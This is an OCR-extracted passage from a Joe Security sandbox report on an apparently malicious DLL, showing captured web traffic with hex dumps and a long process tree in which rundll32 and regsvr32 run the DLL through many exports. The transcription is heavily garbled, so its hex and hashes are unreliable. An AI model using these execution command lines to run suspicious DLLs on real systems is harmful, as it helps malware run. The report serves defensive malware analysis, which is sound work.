3b 20 4d 61 78 2d 41 67 65 3d 33 31 35 35 37 36 30 30 3b 20 44 6f 6d 61 69 6e 3d 2e 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50
61 74 68 3d 2f 0d Oa 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2¢ 20 72 65 70 6f
7274 2d 7572 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73
72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6¢ 79 22 0d Oa 52 65 66 65
7272 65 72 2d 50 6f 6¢ 69 63 79 3a 20 6e 6f 2d 72 65 66

Data Ascii: Set-Cookie: B=clggcmtgl5iga&b=3&s=a5; Expires=Wed, 28 Sep 2022 13:54:35 GMT; Max-Age=31557600;
Domain=.yahoo.com; Path=/Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=y
ahoocom-expect-ct-report-only“Referrer-Policy: no-ref

Data Raw: 3c 68 74 6d 6¢ 3e Oa 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 75 74 66 2d 38 27 3e 0a 3c 73 63 72 69 70
743e 0a 76 61 72 20 75 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 3f 65 72 72 3d 34 30 34 26
6572 72 5f 7572 6¢ 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 66 30 77
6d 67 69 6d 30 54 64 38 34 75 71 70 57 76 7a 72 67 6f 44 6d 25 32 66 27 3b 0a 69 66 28 77 69 6e 64 6f 77 21 3d 77 69

6e 64 6f 77 2e 74 6f 70 29 7b 0a 20 20 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 27 3c 70 3e 43 6f 6e 74 65 6e 74 20
69 7320 63 75 72 72 65 6e 74 6¢ 79 20 75 6e 61 76 61 69 6¢ 61 62 6¢ 65 2e 3¢ 2f 70 3e 3¢ 69 6d 67 20 73 72 63 3d 22 2f
2f 67 65 6f 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 70 3f 73 3d

Data Ascii: <html><meta charset="utf-8'><script>var u="https://www.yahoo.com/?err=404&err_url=https%3a%2{%2fww
w.yahoo.com%2fOwmgimO0Td84ugqpWvzrgoDm%?2f';if(window!=window.top){ document.write('<p>Content is currently unav
ailable.</p><img src="//geo.yahoo.com/p?s=

Destination IP Destination Port Process
87.248.100.216 443 C:\Windows\System32\svchost.exe

Data

GET /2zalgvjzinOljAf92ufxxisidwpSVo231t8A/cp3sorel0pishkmqgffans5ka6z/ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.yahoo.com

Connection: Keep-Alive

Cookie: B=clggcmtgl5iga&b=3&s=a5

HTTP/1.1 404 Not Found

date: Tue, 28 Sep 2021 07:54:35 GMT

p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAI IVDi
CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBI IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL
HEA PRE LOC GOV"

cache-control: private

x-content-type-options: nosniff

content-type: text/html; charset=UTF-8

X-envoy-upstream-service-time: 7

server: ATS

Content-Length: 694

Age: 1

Connection: close

Strict-Transport-Security: max-age=31536000

Content-Security-Policy: frame-ancestors 'self' https://*.builtbygirls.com https://*.rivals.com https://*.engadget.com https://*.i
ntheknow.com https://*.autoblog.com https://*.techcrunch.com https://*.yahoo.com https://*.aol.com https://*.huffingtonp
ost.com https://*.0ath.com https://*.search.yahoo.com https://*.search.aol.com https://*.search.huffpost.com https://*.v
erizonmedia.com https://*.publishing.oath.com https://*.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts
allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&si
te=frontpage&region=US&lang=en-US&device=desktop&yrid=7ddjiglgl5ihs&partner=;

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block
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kBytes
Timestamp transferred

2021-09-28 07:54:36 UTC 1110

2021-09-28 07:54:36 UTC 1111

Session ID Source IP

97 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:54:36 UTC 1111

2021-09-28 07:54:36 UTC 1111

2021-09-28 07:54:36 UTC 1112

Session ID Source IP

98 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:54:36 UTC 1113

2021-09-28 07:54:36 UTC 1113

Copyright Joe Security LLC 2021

Direction

IN

Source Port

50067

Direction

ouT

Source Port
50068

Direction
ouT

Data

Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 42 3d 63 6¢ 67 67 63 6d 74 67 6¢ 35 69 67 61 26 62 3d 33 26 73 3d 61 35
3b 20 45 78 70 69 72 65 73 3d 57 65 64 2c 20 32 38 20 53 65 70 20 32 30 32 32 20 31 33 3a 35 34 3a 33 36 20 47 4d 54
3b 20 4d 61 78 2d 41 67 65 3d 33 31 35 35 37 36 30 30 3b 20 44 6f 6d 61 69 6e 3d 2e 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50
61 74 68 3d 2f 0d Oa 45 78 70 65 63 74 2d 43 54 32 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f
72 742d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73
7263 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6¢ 79 22 0d Oa 52 65 66 65
7272 65 72 2d 50 6f 6¢ 69 63 79 3a 20 6e 6f 2d 72 65 66

Data Ascii: Set-Cookie: B=clggcmtgl5iga&b=3&s=a5; Expires=Wed, 28 Sep 2022 13:54:36 GMT; Max-Age=31557600;
Domain=.yahoo.com; Path=/Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=y
ahoocom-expect-ct-report-only“Referrer-Policy: no-ref

Data Raw: 3c 68 74 6d 6¢ 3e Oa 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 75 74 66 2d 38 27 3e 0a 3c 73 63 72 69 70
743e 0a 76 61 7220 75 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 3f 65 72 72 3d 34 30 34 26
65 72 72 5f 75 72 6¢ 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 66 32 7a
61 31 67 76 6a 7a 69 6e 30 6¢ 6a 41 66 39 32 75 66 78 78 69 73 69 64 77 70 53 56 6f 32 33 31 74 38 41 25 32 66 63 70
3373 6f 726531307069 73 68 6b 6d 71 66 66 61 6e 35 6b 61 36 7a 25 32 66 27 3b 0a 69 66 28 77 69 6e 64 6f 77 21

3d 77 69 6e 64 6f 77 2e 74 6f 70 29 7b 0a 20 20 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 27 3c 70 3e 43 6f 6e 74 65
6e 74 20 69 73 20 63 75 72 72 65 6e 74 6¢ 79 20 75 6e 61 76

Data Ascii: <html><meta charset="utf-8'><script>var u="https://www.yahoo.com/?err=404&err_url=https%3a%2{%2fww
w.yahoo.com%2f2zalgvjzin0ljAf92ufxxisidwpSV0231t8A%2fcp3sore 10pishkmgffan5ka6z%2f';if(window!=window.top){ do
cument.write('<p>Content is currently unav

Destination IP Destination Port Process

162.219.225.118 443 C:\Windows\System32\svchost.exe

Data

GET /0CjjxynrhtAae0xqlSijX4NGmkVz4gcf4z5eegbwgsEMppa/gqlhlc9l4hm8gwOu/C26qVIwsw8sadnDugVon6prBj/ HTT
P/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.amazon.com

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Connection: close

Content-Length: 897

server: Server

date: Tue, 28 Sep 2021 07:54:36 GMT

content-type: text/html

permissions-policy: interest-cohort=()

x-amz-rid: KCDP143GAG2T6GT9Z7N4

x-sdch-encode: 0

last-modified: Tue, 10 Aug 2021 22:12:21 GMT

etag: "687-5c93bcbae3b40-gzip”

accept-ranges: bytes

content-encoding: gzip

vary: Accept-Encoding,User-Agent,Content-Type,Accept-Encoding,X-Amzn-CDN-Cache, X-Amzn-AX-Treatment,User-
Agent

strict-transport-security: max-age=47474747; includeSubDomains; preload
x-frame-options: SAMEORIGIN

Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 55 5d 6f db 36 14 fd 2b 2¢ 85 Oe f1 12 59 92 93 74 8d be b0 15 ed 82 3d 6¢
18 d0 00 7b 18 86 80 22 af 28 2e 14 c9 91 57 8e 5d c3 ff 7d 90 e4 d8 6e fa d8 07 11 22 75 ef 3d 7 1c f2 50 €5 1b 61 39 6e
1d 90 Oe 7b 5d 97 87 11 98 a8 cb 1e 90 11 de 31 1f 00 2b 3a 60 1b bf a7 87 d5 Oe d1 c5 fO df a0 d6 15 dd c4 03 8b b9 ed
1d 43 d5 68 a0 84 5b 83 60 b0 a2 0a 2a 10 12 5e 92 Oc eb al a2 6b 05 cf ce 7a 3¢ 8b 7b 56 02 bb 4a c0 5a 71 88 a7 c9
1551 46 al 62 3a Oe 9c 69 a8 b2 2b 12 3a af cc 53 8¢ 36 6e 15 56 c6 d2 ba 44 85 1a ea 5f 7a f6 ¢5 9a 25 b7 3d 9 93 49
20 7 58 24 bf da c1 88 32 99 03 ca 80 5b 0d 5 48 ed aa bl 62 bb 73 4c 08 65 64 9e 16 3d f3 52 99 3¢ dd ab 5e ee 1a eb
05 8 3¢ dd 47 ec 2a 6a 76 0d e3 4f d2 8f 85 f2 68 75 bd

Data Ascii: UJo6+, Yt=K'(.WIin"u=Padn{]1+: Ch[ **kz<{VIZqQFb:i+:S6nVD_z%=I X$2[HbsLed=R<"<G*vOhu

Destination IP Destination Port Process
142.250.185.196 443 C:\Windows\System32\svchost.exe

Data

GET /mf3Lduswpvy6SPzcbhmxwaljG67q0j6c6j19gg7OkmA/ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.google.com

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Referrer-Policy: no-referrer

Content-Length: 1604

Date: Tue, 28 Sep 2021 07:54:36 GMT

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; m
a=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close
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kBytes
Timestamp transferred

2021-09-28 07:54:36 UTC 1114

2021-09-28 07:54:36 UTC 1114

Session ID Source IP

99 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:54:37 UTC 1115

2021-09-28 07:54:37 UTC 1115

2021-09-28 07:54:37 UTC 1117

2021-09-28 07:54:37 UTC 1117

Code Manipulations

Copyright Joe Security LLC 2021

Direction

IN

Source Port

50069

Direction

ouT

Data

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65
74612063 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74
20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 2¢ 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6C
65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6¢ 65 3e 45 72 72 6f 7
2 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6¢ 65 3e 0a 20 20 3c 73 74 79 6¢ 65 3e 0a 20 2
02020 2a7b6d61 726769 6e 3a303b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6¢ 2c 63 6f 64 65 7b 66 6f 6 74 3a 31
357078 2f 323270 78 20 61 72 69 61 6¢ 2¢c 73 61 6e 73 2d 73 65

Data Ascii: <IDOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1,
minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</tittle> <style> *{margin:0;padding:0}html,co
de{font:15px/22px arial,sans-se

Data Raw: 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25
2031 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6 67 6¢ 65
2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6C 65 6C
6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6 6¢ 79 20 73 63
72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6¢ 2d 72 61 74 69
6f 3a 32 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6 64 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6 67 6¢ 65 2e 63 6f
6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e

Data Ascii: r_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/g
ooglelogo/2x/googlelogo_color_150x54dp.png) O}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo
{background:url(//www.google.com/images/brandin

Destination IP Destination Port Process

87.248.100.216 443 C:\Windows\System32\svchost.exe

Data

GET /rDvkxRxufjyhl1cw709vof/u30uxppkwobgi47d/ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.yahoo.com

Connection: Keep-Alive

Cookie: B=clggcmtgl5iga&b=3&s=a5

HTTP/1.1 404 Not Found

date: Tue, 28 Sep 2021 07:54:37 GMT

p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAI IVDi
CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBIi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL
HEA PRE LOC GOV"

cache-control: private

X-content-type-options: nosniff

content-type: text/html; charset=UTF-8

X-envoy-upstream-service-time: 9

server: ATS

Content-Length: 648

Age: 0

Connection: close

Strict-Transport-Security: max-age=31536000

Content-Security-Policy: frame-ancestors 'self' https://*.builtbygirls.com https://*.rivals.com https://*.engadget.com https://*.i
ntheknow.com https://*.autoblog.com https://*.techcrunch.com https://*.yahoo.com https://*.aol.com https://*.huffingtonp
ost.com https://*.oath.com https://*.search.yahoo.com https://*.search.aol.com https://*.search.huffpost.com https://*.v
erizonmedia.com https://*.publishing.oath.com https://*.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts
allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&si
te=frontpage&region=US&lang=en-US&device=desktop&yrid=b3fle85g|5iht&partner=;

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 42 3d 63 6¢c 67 67 63 6d 74 67 6¢ 35 69 67 61 26 62 3d 33 26 73 3d 61 35
3b 20 45 78 70 69 72 65 73 3d 57 65 64 2c 20 32 38 20 53 65 70 20 32 30 32 32 20 31 33 3a 35 34 3a 33 37 20 47 4d 54
3b 20 4d 61 78 2d 41 67 65 3d 33 31 35 35 37 36 30 30 3b 20 44 6f 6d 61 69 6e 3d 2e 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50
61 74 68 3d 2f 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f
72742d 7572 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73
7263 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6¢ 79 22 0d Oa 52 65 66 65
7272 65 72 2d 50 6f 6¢ 69 63 79 3a 20 6e 6f 2d 72 65 66

Data Ascii: Set-Cookie: B=clggcmtgl5iga&b=3&s=a5; Expires=Wed, 28 Sep 2022 13:54:37 GMT; Max-Age=31557600;
Domain=.yahoo.com; Path=/Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=y
ahoocom-expect-ct-report-only“Referrer-Policy: no-ref

Data Raw: 3c 68 74 6d 6¢ 3e Oa 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 75 74 66 2d 38 27 3e 0a 3c 7363 72 69 70
74 3e 0a 76 61 72 20 75 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 3f 65 72 72 3d 34 30 34 26
65 72 72 5f 75 72 6¢ 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 66 72 44
76 6b 78 52 78 75 66 6a 79 68 6¢ 31 63 77 37 6f 39 76 6f 66 25 32 66 75 33 30 75 78 70 70 6b 77 6f 62 67 69 34 37 64 25
3266 27 3b 0a 69 66 28 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 74 6f 70 29 7b Oa 20 20 64 6f 63 75 6d 65 6e 74 2e
77 7269 74 65 28 27 3c 70 3e 43 6f 6e 74 65 6e 74 20 69 73 20 63 75 72 72 65 6e 74 6¢ 79 20 75 6e 61 76 61 69 6¢C 61
62 6¢ 65 2e 3c 2f 70 3e 3¢ 69 6d 67 20 73 72 63 3d 22 2f

Data Ascii: <html><meta charset="'utf-8'><script>var u="https://www.yahoo.com/?err=404&err_url=https%3a%2f%2fww
w.yahoo.com%2frDvkxRxufjyhl1cw709vof%2fu30uxppkwobgi47d%2f';if(window!=window.top){ document.write(
‘<p>Content is currently unavailable.</p><img src="/
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Statistics

Behavior

g

Click to jump to process

System Behavior

Analysis Process: loaddll64.exe PID: 6060 Parent PID: 6016

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

09:52:32

28/09/2021

C:\Windows\System32\loaddll64.exe

false

loaddll64.exe 'C:\Users\user\Desktop\TWsmloYqCé.dII"
0x7ff6262c0000

140288 bytes
AB84133CCB118CF35D49A423CD836D0EF

true

true

C, C++ or other language

Reputation: high
File Activities Show Windows behavior
File Read
Analysis Process: cmd.exe PID: 6504 Parent PID: 6060

General

Start time: 09:52:33

Start date: 28/09/2021

Path: C:\Windows\System32\cmd.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

false

cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\TWsmloYqC6.dII',#1
0x7ff6cb280000

273920 bytes

4E2ACF4F8A396486AB4268C94A6A245F

true

true

C, C++ or other language

high

Show Windows behavior

Analysis Process: regsvr32.exe PID: 6500 Parent PID: 6060

General

Copyright Joe Security LLC 2021
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Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

09:52:33

28/09/2021

C:\Windows\System32\regsvr32.exe

false

regsvr32.exe /s C:\Users\user\Desktop\TWsmloYqC6.dll
0x7ff681ed0000

24064 bytes
D78B75FC68247E8A63ACBAB46182740E

true

true

C, C++ or other language

Reputation: high
File Activities Show Windows behavior
File Read
Analysis Process: rundll32.exe PID: 6476 Parent PID: 6504

General

Start time: 09:52:33

Start date: 28/09/2021

Path: C:\Windows\System32\rundlI32.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false

rundll32.exe ‘C:\Users\user\Desktop\TWsmloYqC6.dII'#1
0x7ff7eb2b0000

69632 bytes

73C519F050C20580F8A62C849D49215A

true

true

C, C++ or other language

Reputation: high
File Activities Show Windows behavior
File Read
Analysis Process: iexplore.exe PID: 6460 Parent PID: 6060

General

Start time: 09:52:34

Start date: 28/09/2021

Path: C:\Program Files\internet exploreniexplore.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

Registry Activities

Copyright Joe Security LLC 2021

false

C:\Program Files\Internet Explorer\iexplore.exe
0x7ff759840000

823560 bytes
6465CB92B25A7BC1DF8E01D8ACS5E7596
true

true

C, C++ or other language

high

Show Windows behavior

Show Windows behavior
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Analysis Process: rundll32.exe PID: 1384 Parent PID: 6060

General
Start time: 09:52:34
Start date: 28/09/2021
Path: C:\Windows\System32\rundlI32.exe
Wow64 process (32bit): false
Commandline: rundll32.exe C:\Users\user\Desktop\TWsmloYqC6.dll,DIIRegisterServer
Imagebase: 0x7ff7eb2b0000
File size: 69632 bytes
MDS5 hash: 73C519F050C20580F8A62C849D49215A
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Reputation: high
File Activities Show Windows behavior
File Created
File Read

Analysis Process: iexplore.exe PID: 1496 Parent PID: 6460

General

Start time: 09:52:35

Start date: 28/09/2021

Path: C:\Program Files (x86)\Internet Explorer\iexplore.exe

Wow64 process (32bit): true

Commandline: ‘C:\Program Files (x86)\Internet ExploreNIEXPLORE.EXE' SCODEF:6460 CREDAT:17410

Iprefetch:2

Imagebase: 0x2b0000

File size: 822536 bytes

MD5 hash: 071277CC2E3DF41EEEA8013E2AB58D5A

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high
File Activities Show Windows behavior
Registry Activities Show Windows behavior

Analysis Process: rundll32.exe PID: 6848 Parent PID: 6060

General

Start time: 09:52:38

Start date: 28/09/2021

Path: C:\Windows\System32\rundlI32.exe

Wow64 process (32bit): false

Commandline: rundll32.exe C:\Users\user\Desktop\TWsmloYqC6.dIl,DllUnregisterServer
Imagebase: 0x7ff7eb2b0000

File size: 69632 bytes

MD5 hash: 73C519F050C20580F8A62C849D49215A
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Has elevated privileges:
Has administrator privileges:

Programmed in:

File Activities

File Read

true
true

C, C++ or other language

Show Windows behavior

Analysis Process: rundll32.exe PID: 5580 Parent PID: 6060

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

File Activities

File Created

File Read

09:52:41

28/09/2021

C:\Windows\System32\rundlI32.exe

false

rundll32.exe C:\Users\user\Desktop\TWsmloYqC6.dll,PauseW
0x7ff7eb2b0000

69632 bytes

73C519F050C20580F8A62C849D49215A

true

true

C, C++ or other language

Show Windows behavior

Analysis Process: rundli32.exe PID: 6332 Parent PID: 6060

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

09:52:45

28/09/2021

C:\Windows\System32\rundll32.exe

false

rundlI32.exe C:\Users\user\Desktop\TWsmloYqC6.dll,ResumeServer
0x7ff7eb2b0000

69632 bytes

73C519F050C20580F8A62C849D49215A

true

true

C, C++ or other language

Analysis Process: rundli32.exe PID: 5532 Parent PID: 6060

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

Copyright Joe Security LLC 2021

09:52:50
28/09/2021
C:\Windows\System32\rundlI32.exe
false
rundll32.exe C:\Users\user\Desktop\TWsmloYqC6.dll,ResumeW
0x7ff7eb2b0000
69632 bytes
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MD5 hash:
Has elevated privileges:
Has administrator privileges:

Programmed in:

73C519F050C20580F8A62C849D49215A
true
true

C, C++ or other language

Analysis Process: rundll32.exe PID: 7152 Parent PID: 6060

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

09:52:53

28/09/2021

C:\Windows\System32\rundlI32.exe

false

rundll32.exe C:\Users\user\Desktop\TWsmloYqC6.dll,StartServer
0x7ff7eb2b0000

69632 bytes

73C519F050C20580F8A62C849D49215A

true

true

C, C++ or other language

Analysis Process: rundll32.exe PID: 5328 Parent PID: 6060

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

09:52:57

28/09/2021

C:\Windows\System32\rundll32.exe

false

rundll32.exe C:\Users\user\Desktop\TWsmloYqC6.dll,StartW
0x7ff7eb2b0000

69632 bytes

73C519F050C20580F8A62C849D49215A

true

true

C, C++ or other language

Analysis Process: rundli32.exe PID: 5952 Parent PID: 6060

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

09:53:00

28/09/2021

C:\Windows\System32\rundlI32.exe

false

rundll32.exe C:\Users\user\Desktop\TWsmloYqC6.dll,StopServer
0x7ff7eb2b0000

69632 bytes

73C519F050C20580F8A62C849D49215A

true

true

C, C++ or other language

Analysis Process: rundll32.exe PID: 5552 Parent PID: 6060

Copyright Joe Security LLC 2021

Page 144 of 149



General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

09:53:04

28/09/2021

C:\Windows\System32\rundlI32.exe

false

rundll32.exe C:\Users\user\Desktop\TWsmloYqC6.dll,SuspendServer
0x7ff7eb2b0000

69632 bytes

73C519F050C20580F8A62C849D49215A

true

true

C, C++ or other language

Analysis Process: rundll32.exe PID: 5656 Parent PID: 6060

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

09:53:08

28/09/2021

C:\Windows\System32\rundlI32.exe

false

rundlI32.exe C:\Users\user\Desktop\TWsmloYqC®6.dll,opj_codec_set_threads
0x7ff7eb2b0000

69632 bytes

73C519F050C20580F8A62C849D49215A

true

true

C, C++ or other language

Analysis Process: rundll32.exe PID: 5924 Parent PID: 6060

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

09:53:11

28/09/2021

C:\Windows\System32\rundll32.exe

false

rundll32.exe C:\Users\user\Desktop\TWsmloYqC6.dll,opj_create_compress
0x7ff7eb2b0000

69632 bytes

73C519F050C20580F8A62C849D49215A

true

true

C, C++ or other language

Analysis Process: rundll32.exe PID: 6276 Parent PID: 6588

General

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

Copyright Joe Security LLC 2021

09:53:14

28/09/2021
C:\Windows\System32\rundlI32.exe
false

C:\Windows\System32\rundll32.exe C:\Users\user\Desktop\TWsmloYqC6.dll,DIIRegiste
rServer {FD4EF353-9C8C-48E0-BB05-78974FB93B24}

0x7ff7eb2b0000
69632 bytes
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MDS5 hash: 73C519F050C20580F8A62C849D49215A

Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language

Analysis Process: rundll32.exe PID: 1312 Parent PID: 6060

General

Start time: 09:53:15

Start date: 28/09/2021

Path: C:\Windows\System32\rundlI32.exe
Wow64 process (32bit): false

Commandline: rundll32.exe C:\Users\user\Desktop\TWsmloYqC6.dll,opj_create_decompress
Imagebase: 0x7ff7eb2b0000

File size: 69632 bytes

MD5 hash: 73C519F050C20580F8A62C849D49215A
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Analysis Process: rundll32.exe PID: 6312 Parent PID: 6060

General

Start time: 09:53:19

Start date: 28/09/2021

Path: C:\Windows\System32\rundlI32.exe
Wow64 process (32bit): false

Commandline: rundll32.exe C:\Users\user\Desktop\TWsmloYqC6.dll,opj_decode
Imagebase: 0x7ff7eb2b0000

File size: 69632 bytes

MDS5 hash: 73C519F050C20580F8A62C849D49215A
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Analysis Process: svchost.exe PID: 5684 Parent PID: 1384

General

